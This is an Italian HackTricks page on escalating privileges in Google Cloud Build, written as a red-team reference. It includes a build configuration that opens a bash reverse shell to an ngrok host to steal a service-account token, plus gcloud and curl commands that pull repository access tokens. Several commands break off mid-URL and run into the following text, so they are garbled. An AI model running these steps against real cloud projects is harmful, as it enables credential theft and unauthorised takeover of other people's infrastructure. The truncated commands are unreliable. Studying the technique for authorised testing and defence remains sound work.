GCP - Cloudbuild Privesc
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
cloudbuild
Per maggiori informazioni su Cloud Build consulta:
cloudbuild.builds.create, iam.serviceAccounts.actAs
Con questa autorizzazione puoi inviare un Cloud Build. La macchina cloudbuild avrà nel suo filesystem, di default, un token del cloudbuild Service Account: <PROJECT_NUMBER>@cloudbuild.gserviceaccount.com. Tuttavia, puoi indicare qualsiasi service account all’interno del progetto nella configurazione di cloudbuild.
Quindi, puoi semplicemente far exfiltrate dalla macchina il token verso il tuo server o ottenere una reverse shell al suo interno e recuperare il token (il file contenente il token potrebbe cambiare).
Sfruttamento diretto via gcloud CLI
1- Crea cloudbuild.yaml e modificalo con i dati del tuo listener
Cloud Build YAML configuration for reverse shell
```yaml steps: - name: bash script: | #!/usr/bin/env bash bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14965 0>&1 options: logging: CLOUD_LOGGING_ONLY ```2- Carica una build semplice senza sorgente, il file yaml e specifica la SA da usare per la build:
Invia Cloud Build con service account specificato
```bash gcloud builds submit --no-source --config="./cloudbuild.yaml" --service-account="projects/Usare la libreria python gcloud
Puoi trovare lo script exploit originale here on GitHub (ma la posizione da cui prende il token non ha funzionato per me). Pertanto, controlla uno script per automatizzare la creation, exploit and cleaning of a vuln environment here e uno script python per ottenere una reverse shell all’interno della macchina cloudbuild e steal it here (nel codice puoi trovare come specificare altri service accounts).
Per una spiegazione più approfondita, visita https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/
cloudbuild.repositories.accessReadToken
Con questo permesso l’utente può ottenere il read access token utilizzato per accedere al repository:
Ottieni il read access token per il repository
```bash curl -X POST \ -H "Authorization: Bearer $(gcloud auth print-access-token)" \ -H "Content-Type: application/json" \ -d '{}' \ "https://cloudbuild.googleapis.com/v2/projects/cloudbuild.repositories.accessReadWriteToken
Con questo permesso l’utente può ottenere il read and write access token utilizzato per accedere al repository:
Ottieni il read and write access token per il repository
```bash curl -X POST \ -H "Authorization: Bearer $(gcloud auth print-access-token)" \ -H "Content-Type: application/json" \ -d '{}' \ "https://cloudbuild.googleapis.com/v2/projects/cloudbuild.connections.fetchLinkableRepositories
Con questo permesso puoi ottenere i repos a cui la connection ha accesso:
Recupera repositories collegabili
```bash curl -X GET \ -H "Authorization: Bearer $(gcloud auth print-access-token)" \ "https://cloudbuild.googleapis.com/v2/projects/Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
HackTricks Cloud

